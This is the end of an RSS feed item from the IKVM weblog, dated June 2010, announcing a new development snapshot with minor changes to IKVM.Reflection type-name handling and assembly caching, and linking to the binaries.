      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      One more development snapshot. A couple of minor tweaks.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Updated copyright notices.</li>
          <li>
         Removed Winforms thread workaround timer that was previously required to make the
         thread abortable.</li>
          <li>
         IKVM.Reflection: Fixed a couple of bugs related to escaped type names not being unescaped.</li>
          <li>
         IKVM.Reflection: Changed assembly reference caching to be more efficient and to handle
         the fact that assembly identities can change (if it is an AssemblyBuilder).</li>
          <li>
         IKVM.Reflection: Changed assembly identity caching to only add identities to the cache when
         they are used to look up the assembly.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.43.3824.zip">ikvmbin-0.43.3824.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</link>
      <pubDate>Mon, 21 Jun 2010 08:36:02 GMT</pubDate>
      <description>&lt;p&gt;
   One more development snapshot. A couple of minor tweaks.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Updated copyright notices.&lt;/li&gt;
   &lt;li&gt;
      Removed Winforms thread workaround timer that was previously required to make the
      thread abortable.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Fixed a couple of bugs related to escaped type names not being unescaped.&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Changed assembly reference caching to be more efficient and to handle
      the fact that assembly identities can change (if it is an AssemblyBuilder).&lt;/li&gt;
   &lt;li&gt;
      IKVM.Reflection: Changed assembly identity caching to only add identities to the cache&amp;nbsp;when
      they are used to look up the assembly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.43.3824.zip"&gt;ikvmbin-0.43.3824.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=85c0a4a3-86b8-4feb-a6a5-e6abcceb7c10</comments>
    </item>
  </channel>
</rss>